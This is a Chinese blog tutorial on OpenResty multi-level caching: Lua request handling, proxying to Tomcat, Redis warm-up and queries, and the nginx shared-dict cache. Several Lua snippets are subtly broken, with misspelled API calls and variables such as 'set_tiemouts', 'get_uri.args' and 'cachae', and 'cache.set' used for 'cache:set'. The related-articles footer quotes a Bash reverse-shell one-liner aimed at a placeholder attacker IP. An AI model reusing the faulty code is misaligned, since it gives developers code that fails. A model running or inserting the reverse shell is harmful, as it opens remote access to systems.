【Redis】多级缓存之OpenResty:nginx查询Tomcat与Redis以及nginx本地缓存

news2024/11/7 22:42:26

目录

一、认识OpenResty

二、请求参数处理

三、查询Tomcat

四、Redis缓存预热

五、查询Redis缓存

六、nginx本地缓存


一、认识OpenResty

OpenResty是一个基于nginx的高性能Web平台,他用于方便的搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网关。他具备以下特点:1.具备nginx的完整功能 2.基于Lua语言进行扩展,集成了大量精良的Lua库、第三方模块 3.允许使用Lua自定义业务逻辑、自定义库

二、请求参数处理

OpenResty提供了各种API来获取不同类型的请求参数

参数格式示例获取代码示例
路径占位符/test/101

利用正则表达式匹配:location ~ /test/(\d+) {

content_by_lua_file lua/test.lua;获取后转向该路径下的test.lua文件,在该lua文件中可以通过ngx.var[1]获取到参数101

}

请求头id:101

在lua脚本中使用

local header = ngx.req.get_headers()

可以获取到请求头header是一个table类型

Get请求?id=101

与上述相同

local params = ngx.req.get_uri_args()

其中params也是一个table类型

Post请求id=101

首先需要读取请求体通过以下代码

ngx.req.read_body()

然后获取参数

local post = ngx.req.get_post_args()

其结果也是table类型

JSON数据{"id":101}

首先需要读取请求体通过以下代码

ngx.req.read_body()

然后获取参数

local json=ngx.req.get_body_data()返回结果是一个string类型是json数据,后续会提到如何序列化与反序列化

三、查询Tomcat

nginx提供了内部的API用以发送http请求

local resp = ngx.location.capture("/path",{

        method=ngx.HTTP_GET, -- 请求方式

        args={id=1,age=10},         -- get请求的传参方式

        body="id=1&age=10"       -- post请求的传参方式

})

上述代码中的path是路径但是这个路径并不包含IP与端口,这个请求会被nginx内部的server监听并处理,我们这里要将去查询tomcat所以要在nginx中编写一个server对这个路径反向代理到Tomcat

location /path{

        proxy_pass http://IP:8080

}

其中返回的resp包含以下内容:

resp.status:响应状态码

resp.header:响应头,是一个table数据

resp.body:响应体,也就是数据

我们可以将http查询的请求封装为一个函数,放到OpenResty的库中后续可以之间使用,首先我们需要在对应的目录下创建common.lua文件,然后在该文件中封装该方法并导出

-- 封装方法发送http请求
local function read_http(path, params)
    local resp = ngx.location.capture(path,{
        method=ngx.HTTP_GET,
        args=params
    })
    
    -- 处理响应
    if not resp then
        -- 打印日志返回404
        ngx.log(ngx.ERR,"error")
        ngx.exit(404)
    end
    -- 返回数据
    return resp.body
end

-- 将方法导出
local _M = {
    read_http = read_http
}
return _M

此时我们可以查询Tomcat中的信息

-- 导入所需要的库
local common = require('common')
-- 序列化与反序列化库
local cjson = require('cjson')

-- 获取之前封装的方法
local read_http = common.read_http

-- 获取get请求里的id:/item?id=101
local id = ngx.req.get_uri.args().id

-- 查询Tomcat
local itemJson = read_http("/item",id)

-- 将Tomcat返回的json数据转为table类型
local item = cjson.decode(itemJson)

-- 给数据中加入一个属性比如状态:state=1
item.state = 1

-- 将数据转为json格式返回
ngx.say(cjson.encode(item))

 在多级缓存的实战中Tomcat不止一个通常会有集群,那么这个时候我们需要去配置负载均衡,那么 默认的轮询机制是否可以呢,假设此时有俩台Tomcat查询同一个id对应的信息按照轮询机制则两台Tomcat会各查询一次,也就是说JVM进程缓存会在两台Tomcat上缓存2次,但是这两个数据是同一个,这就导致Tomcat集群的性能低,那么我们可以不可以通过修改负载均衡的策略让同一id对应的请求去查询统一Tomcat呢,那么两次查询去同一给Tomcat,第二次之间从JVM进程缓存里获取提高性能。我们可以通过设置达到这样的效果

 

配置反向代理,将指定路径代理到Tomcat集群

location /path{

        proxy_pass http://tomcat-cluster;

}

集群

upstream tomcat-cluster{

        hash $request_uri;

        server ip:端口

        ……

}

四、Redis缓存预热

服务刚启动时,Redis中并没有缓存,如果所有的商品数据在第一次查询时添加缓存,则可能会给数据库带来比较大的压力,也叫做冷启动,在实际的开发过程中,通常会利用大数据统计用户访问的热点数据,在项目启动时将这些热点数据提前查询并缓存,这就是缓存预热

@Component
public class RedisHandler implements InitializingBean{
    
    @Autowired
    private StringRedisTemplate redis;

    @Override
    public void afterPropertiesSet(){
        // 查询数据库进行缓存
    }

}

五、查询Redis缓存

在上述我们了解了如何查询Tomcat,在业务中我们首先会去查询nginx的本地缓存,然后查询Redis缓存,如果都没有数据那才去查询Tomcat那么我们如何查询Redis呢,OpenResty提供了操作Redis的模块,我们只需要引入模块即可使用

-- 引入redis模块

local redis = require('resty.redis')

-- 初始化redis对象

local red = redis:new()

-- 配置redis超时时间

red:set_timeouts(1000,1000,1000)

接着我们可以继续在common.lua里封装redis的相关方法并导出

-- 引入Redis模块
local redis = require('resty.redis')
local red = redis:new()
red:set_tiemouts(1000,1000,1000)

-- 封装关闭Redis连接的方法:放入连接池中
local function close_redis(red)
    local pool_max_idle_tiem = 10000 -- 连接空闲时间
    local pool_size = 100  -- 连接最大数
    local ok,err = red:set_keepalive(pool_max_idle_time,pool_size)
    if not ok then
        ngx.log(ngx.ERR,'放入Redis连接池失败')
    end
end

-- 封装查询Redis方法
local function read_redis(ip,port,key)
    -- 获取连接
    local ok,err = red:connect(ip, port)
    if not ok then
        ngx.log(ngx.ERR,"连接失败")
        return nil
    end

    -- 查询redis
    local resp,err = red:get(key)
    if not resp then
        ngx.log(ngx.ERR,"查询失败")
    end

    -- 处理数据为空
    if resp == ngx.null then
        resp = nil
        ngx.log(ngx.ERR,"查询为空")
    end

    -- 关闭连接
    close_redis(red)
    return resp
end
   

-- 封装方法发送http请求
local function read_http(path, params)
    local resp = ngx.location.capture(path,{
        method=ngx.HTTP_GET,
        args=params
    })
    
    -- 处理响应
    if not resp then
        -- 打印日志返回404
        ngx.log(ngx.ERR,"error")
        ngx.exit(404)
    end
    -- 返回数据
    return resp.body
end

-- 将方法导出
local _M = {
    read_http = read_http,
    read_redis = read_redis
}
return _M

六、nginx本地缓存

OpenResty为nginx提供了shared dict的功能,可以在nginx的多个worker之间共享数据,实现缓存功能

首先我们需要开启共享词典,在nginx.conf的http下配置

lua_shared_dict cache 200m;  # 名为cache 大小200m

然后我们可以在lua文件中编写业务

-- 获取本地缓存

local cache = ngx.shared.cachae

-- 存入,第三参数为过期时间单位是秒,默认是0永不过期

cache.set('key','value',1000)

-- 读取

local value = cache.get('key')

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/684009.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SuperMap GIS基础产品组件GIS FAQ集锦(3)

SuperMap GIS基础产品组件GIS FAQ集锦(3) 【Unity】Unity中如何将场景内容限制在屏幕中间1/3处? 【解决办法】1、新建两个相机,一个代表左边屏幕,一个代表右边屏幕 2、通过Viewport Rect设置相机显示在屏幕中的位置&a…

南卡OE Pro首销售罄,发烧友称其为开放式耳机旗舰标杆!

6月19日南卡官博放出消息,南卡旗下的开放式旗舰机型OE Pro首销售罄,开启预售,将在24日早上10点整再次现货发售,不难看出这款开放式耳机非常火爆,非常受欢迎,被广大发烧友们誉为开放式耳机的旗舰标杆&#x…

会 java 8 stream流就会大数据!

如果你会任意一门语言的stream流,没道理不会大数据开发。 俗话说男追女隔座山,女追男隔层纱。 如果说零基础学大数据,感觉前面是一座山,那么只要你会java或者任意一门语言的stream流,那大数据就只隔了一层纱。 本文以…

内网隧道代理技术(七)之Bash反弹shell

Bash反弹shell Bash介绍 Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell Bash 反弹Shell的命令如下: bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/tcp/攻击机_IP…

【博客676】VictoriaMetrics缓存限制之:布隆过滤器

VictoriaMetrics缓存限制之:布隆过滤器 1、场景 VictoriaMetrics的vmstorage组件接收上游传递过来的指标,在​​现实场景中,指标的数量级或者瞬态指标可能会非常可怕,如果不限制缓存的大小,就会存在由于缓存导致插入速…

模拟电路系列分享-运放的关键参数4

目录 概要 整体架构流程 技术名词解释 1.定义 2.优劣范围 3.理解 技术细节 1.压摆率 1.定义∶ 2.优劣范围 3.理解︰ 2.单位增益带宽 1.定义∶ 2.优劣范围︰ 3.理解∶ 小结 概要 提示:这里可以添加技术概要 例如: 实际运放与理想运放具有很多差别。理想…

jumpserver【基本使用教程】

目录 目录 【1】管理用户 【2】系统用户 【3】普通用户 【4】添加资产(可以添加的有:服务器、网络设备、数据库应用) 【5】权限划分 【6】验证(使用普通用户登录资产) 【7】查看是否有记录 【8】添加数据库资产…

2023全球智博会奏响AI产业发展的四重共振

2023年6月25日为期三天的第五届全球人工智能产品应用博览会(简称“全球智博会”)在苏州国际博览中心盛大启幕。金鸡湖畔汇聚院士专家、领军智囊、顶尖企业,为人工智能关键技术突破、产业化创新应用、科技产品研发落地、经济深度融合等方面提供…

解密EEMD分析:Rlibeemd包带你玩转信号分解和时间序列预测

一、简介 1.1 什么是EEMD? EEMD(Ensemble Empirical Mode Decomposition)是一种信号分解方法,它旨在分解非线性、非平稳或非白噪声的信号,以揭示复杂信号的局部特征和周期性成分。EEMD不同于传统的余弦变换、小波变换等线性变换…

按键控制蜂鸣器实验

目录 按键控制蜂鸣器实验 1、简介 2、实验任务 3、程序设计 3.1、顶层模块代码 3.2、按键消抖模块代码 3.3、蜂鸣器控制模块代码 4、仿真验证 5、板上下载验证 5.1、硬件设计 5.2、添加约束文件.xdc 5.3、板上下载验证 按键控制蜂鸣器实验 蜂鸣器(Buzze…

微机保护主程序框图原理

微机保护主程序框图如图2-5所示。 一、初始化 “初始化”是指保护装置在上电或按下复位键时首先执行的程序,它主要是对单片微机(CPU)及可编程扩展芯片的工作方式、参数的设置,以便在后面的程序中按预定方案工作。例如…

荨麻疹【指南共识】

慢性自发性荨麻疹达标治疗专家共识(2023) 参考文献:中华医学会皮肤性病学分会, 中国医师协会皮肤科医师分会. 慢性自发性荨麻疹达标治疗专家共识(2023)[J]. 中华皮肤科杂志,2023, e2…

在React+ts中集成高德地图(保姆级教程)

前往高德地图开发平台高德开放平台 | 高德地图API 一:申请高德key 去高德官网去创建一个属于自己的地图应用 (得到key和秘钥) 。 首先,我们要注册一个开发者账号,根据实际情况填写,身份写个人:…

LwIP系列(3):以太网帧、IP、TCP、UDP、IGMP、ICMP帧格式详解

前言 TCP/IP 本质上是软件协议,而LwIP也是对软件协议进行解析处理,所以我们有必要了解下以太网帧、IP、TCP、UDP、IGMP、ICMP帧格式,这样在代码中,才能有的放矢。 以太网帧框架 以太网帧是最底层的原始数据,帧框架如…

Linux用户密码管理

密码复杂度设置 之前写过一篇文章,通过编辑/etc/pam.d下的配置文件来信hi先密码复杂度设置。 这里介绍另一种方法,使用authconfig名来配置。 如果没有安装该软件,输入如下命令安装: yum install authconfig -y 设置方法如下: authconfi…

力扣动态规划专题(六)编辑距离与回文问题 步骤及C++实现

文章目录 392. 判断子序列动态规划双指针 115.不同的子序列583. 两个字符串的删除操作方法一方法二 72. 编辑距离647. 回文子串动态规划双指针 516.最长回文子序列 392. 判断子序列 动态规划 步骤 确定dp数组以及下标的含义 dp[i][j] 表示以下标i-1为结尾的字符串s&#xff0c…

Json数据 通用提取工具 Web版

问题来源 楼主使用Golang 实现了一款通用型 JSON 数据提取工具,支持自动识别 JSON 数据节点并有序提取为 CSV 文件。 看到大家有这样的评论,顺手实现下,~~ 尴尬的是搞完了 ,发现 这个论坛注册不足15天,不能回复评论。晕…

迅为RK3568开发板系统编程手册全新升级

iTOP-3568开发板C应用编程手册全新升级,《iTOP-RK3568开发板系统编程手册》旨在帮助刚入门的用户进行入门规划和学习,为系统编程基础指导手册。 第1部分 系统编程初探 第1章 系统编程初探 1.1 什么是系统编程 1.2 系统编程的作用 1.3 系统调用和C语言库函…

R语言使用xlsx包、安装包的经验以及切换工作目录的方法

R语言使用xlsx包 首先不同于读取txt和csv文件,R语言读取xlsx文件需要安装xlsx包 使用下面命令进行安装xlsx install.packages(“xlsx”) 安装过程非常顺利,需要附带安装其它几个包。如果安装出现错误,可以尝试切换网络,使用手机热…

2-css-1

一 CSS 初体验 CSS 定义:层叠样式表 (Cascading Style Sheets,缩写为 CSS),是一种样式表语言,用来描述HTML文档的呈现(美化内容) CSS 书写在什么位置? title 标签下方哪个标签里面…